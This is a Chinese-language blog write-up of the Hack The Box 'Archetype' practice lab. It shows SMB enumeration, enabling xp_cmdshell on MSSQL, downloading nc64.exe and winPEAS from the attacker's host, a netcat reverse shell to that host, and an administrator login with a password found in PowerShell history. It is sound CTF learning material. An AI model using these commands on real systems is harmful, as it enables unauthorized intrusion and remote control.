Hack The Box-Archetype

Introduction

通过这篇博客,你会了解到 SMB 协议、smbclient 命令、Microsoft SQL Server 、Impacket工具、xp_cmdshell命令、winPEAS工具、windows权限提升等知识,并对 nmap 和反弹 shell 的使用更加娴熟。

Write-up

User flag

nmap 扫描目标主机端口:

我们发现 SMB 端口是开放的,并且 Microsoft SQL Server 2017 正在端口 1433 上运行。

  • SMB
    • SMB(Server Message Block)是一种网络文件共享协议,常用于 Windows 操作系统中,用于允许应用程序读取和写入远程计算机上的文件以及请求计算机上的服务。SMB 协议不仅支持文件共享,还支持打印机共享、网络浏览等功能。
    • SMB 主要通过端口 445 进行通信。

使用 smbclient 与运行 SMB 协议的远程服务器进行交互:

smbclient -N -L //10.129.111.223
#-N : 以匿名身份登录,不需要密码。
#-L : 列出目标主机上的所有共享资源。
# `//` 明确指出你要访问的是网络共享,而不是本地路径。

尝试访问 backups:

smbclient //10.129.111.223/backups

输入 dir 命令列出当前目录中的文件和文件夹:

prod.dtsConfig 看起来像是一个配置文件。使用 get 命令将其下载到本地计算机:

文件内容如下:

我们发现了主机 ARCHETYPE 上用户 sql_svc 的密码。接下来尝试连接 MSSQL 服务器。

Impacket工具中的 mssqlclient.py 可以提供此服务:

python3 mssqlclient.py ARCHETYPE/sql_svc@10.129.111.223 -windows-auth

成功连接Microsoft SQL Server:

有关 MSSQL Server 的渗透技巧可以看这篇文章: https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server

默认情况下,xp_cmdshell 被禁用,因为它允许执行操作系统命令,这可能带来安全风险。所以首先需要启用 xp_cmdshell

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE

#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

尝试下 whoami 命令:

因为 windows 操作系统没有内置 netcat ,所以我们要想办法让它安装一个 nc 。

首先在本机下载 nc64.exe,并在8000端口开启一个 http. server。注意把 nc64.exe放在执行 http. server 命令的目录下。

接下来在 MSSQL Server 这边查看当前所处文件位置:

EXEC xp_cmdshell "powershell -c pwd"
# `pwd` 是 PowerShell 的一个命令,而不是 cmd.exe 中的命令。
# `powershell -c` 表示启动 PowerShel

作为用户 sql_svc ,没有权限在系统目录中上传文件。根据对 windows 系统的了解,可以在 C:\Users\<username>\Downloads 存放下载的文件。接下来在这个文件夹下,执行下载 nc64.exe 的命令:

EXEC xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.16.8:8000/nc64.exe"

由于对命令行工具的不熟悉,这里一开始用的是 curl 命令。后面无法执行反弹 shell ,发现Downloads 文件夹内没有 nc64.exe。改为 wget 命令后成功下载。

  • 区别:
    • **wget**:会根据 URL 自动保存文件。可以使用 -O 参数指定保存的文件名。
    • **curl**:默认输出内容到终端,如果要将下载的文件保存到本地,需要使用 -O 参数。
    • 如果只是需要下载文件,**wget** 是更好的选择。
    • 如果需要与服务器进行更复杂的交互,发送 HTTP 请求、处理表单数据、上传文件等,**curl** 更适合。

在 http.server 处看到目标服务器已经执行了这个命令。

接下来就是常规的反弹 shell 了。

本机开放8888端口监听:

nc -lvp 8888

目标服务器执行以下命令,通过 nc 将 cmd.exe 绑定到我们的监听端口:

EXEC xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 10.10.16.8 8888"

在用户的 Desktop 文件找到 flag:

Root flag

接下来需要找到管理员的 flag,涉及到 Windows 权限提升,可以利用工具winPEAS,搜索在 Windows 主机上提升权限的可能路径。

将 winPEASx64.exe 下载到目标服务器:

# 本机:
python3 -m http.server 8000

# 目标服务器首先执行 PoweShell ,然后执行 wget 命令:
powershell
Invoke-WebRequest -Uri http://10.10.16.8:8000/winPEASx64.exe -O "winPEASx64.exe" -UseBasicParsing

这里尝试了 wget ,curl 和PowerShell 自带的 Invoke-WebRequest都失败了,错误提示:

wget : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.

这是因为在 PowerShell 中,默认使用 Internet Explorer(IE)作为内容解析引擎,但在某些环境中,IE 可能不可用或没有完全配置。这导致无法解析下载的内容。PowerShell 7 以上版本通常不再依赖于 IE 引擎。

解决办法是使用-UseBasicParsing 参数,让 PowerShell 使用基本的 HTML 解析方式,而不是依赖 IE 引擎。

执行 winPEASx64.exe

PS C:\Users\sql_svc\Downloads> .\winPEASx64.exe

从输出的报告可以看到:

当前用户拥有[ SeImpersonatePrivilege 权限](SeImpersonatePrivilege and SeCreateGlobalPrivilege - Windows Server | Microsoft Learn)。这个权限可能被 [Juicy Potato](多汁土豆 |黑客技巧 — JuicyPotato | HackTricks)利用。此处待日后展开讨论。

由于当前是一个普通用户账户,同时也是一个服务账户(为某些服务或应用程序运行而创建的账户),因此值得检查一下是否有经常访问的文件或执行的命令。

在 Windows 系统中,PowerShell 会记录用户执行的命令历史,类似于 Linux 中的 .bash_history。历史记录文件 ConsoleHost_history.txt 存储在 C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ 目录下。

查看这个文件,我们以明文形式获得了管理员用户的密码,该密码为 MEGACORP_4dm1n!!

因为目标主机并没有开放ssh端口,此时我们可以再次使用 Impacket 工具中的 psexec.py 工具,以管理员身份获取 shell。

python3 psexec.py administrator@10.129.111.223

在管理员的 Desktop 文件找到 flag:

Conclusion

这个靶场是目前三个里面花的时间最长的,因为涉及到权限提升,不仅要找到用户 flag,还要找到管理员 flag 。实际上,这个过程中并没有涉及到 Windows 权限提升,而是通过记录 PoweShell 的文件找到了管理员的密码。关于权限提升,目前是一窍不通,以后遇到相关靶场再详细记录。通过三个靶场的练习,一些重复的知识我已经完全掌握了。这是一个良好的开端,日后会坚持刷题的。